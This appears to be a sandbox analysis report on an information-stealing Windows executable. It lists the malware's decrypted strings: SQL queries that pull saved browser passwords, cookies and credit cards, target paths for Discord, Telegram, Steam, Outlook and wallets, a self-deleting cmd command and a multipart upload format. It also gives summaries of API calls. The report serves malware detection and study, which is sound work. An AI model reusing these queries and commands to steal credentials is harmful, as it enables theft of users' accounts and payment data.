Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: encrypted_key
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PATH
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: NSS_Init
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: browser:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: profile:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: url:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: login:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: password:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Opera
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: OperaGX
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Network
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: cookies
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: .txt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: TRUE
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: FALSE
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: autofill
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: history
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: cc
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: name:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: month:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: year:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: card:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Cookies
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Login Data
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Web Data
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: History
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: logins.json
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: usernameField
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: guid
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: places.sqlite
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: plugins
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: IndexedDB
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Opera Stable
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: CURRENT
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Local State
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: profiles.ini
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: chrome
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: opera
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: firefox
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: wallets
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ProductName
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: x32
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: x64
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DisplayName
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Network Info:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: System Summary:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - HWID:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - OS:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Architecture:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - UserName:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Local Time:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - UTC:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Language:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Laptop:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Running Path:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - CPU:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Threads:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Cores:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - RAM:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: - GPU:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: User Agents:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: All Users:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Current User:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Process List:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: system_info.txt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: nss3.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Temp\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: .exe
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: runas
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: open
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: /c start
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: %RECENT%
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: *.lnk
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: files
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \discord\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: key_datas
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: map*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Telegram
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Tox
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: *.tox
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: *.ini
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Password
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 00000001
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 00000002
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 00000003
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: 00000004
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Pidgin
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \.purple\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: accounts.xml
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: token:
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: SteamPath
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \config\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ssfn*
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: config.vdf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Steam\
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: done
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: soft
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: https
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: POST
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: hwid
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: build
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: token
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: file_name
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: file
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: message
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.glpEv3POe7.exe.580000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00586000 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_00586000
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00596DE0 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00596DE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00589BE0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00589BE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00584B80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_00584B80
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A4090 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_005A4090
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0058ED90 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0058ED90
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00587690 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00587690
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00596FF9 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00596FF9
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00589B80 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00589B80
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C466C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C466C80
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C5BA9A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5B4440 PK11_PrivDecrypt,	0_2_6C5B4440
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C584420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C584420
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5B44C0 PK11_PubEncrypt,	0_2_6C5B44C0

Source: glpEv3POe7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: glpEv3POe7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: glpEv3POe7.exe, 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: glpEv3POe7.exe, 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0058DD70 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0058DD70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005915E0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_005915E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005815A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_005815A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059D640 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0059D640
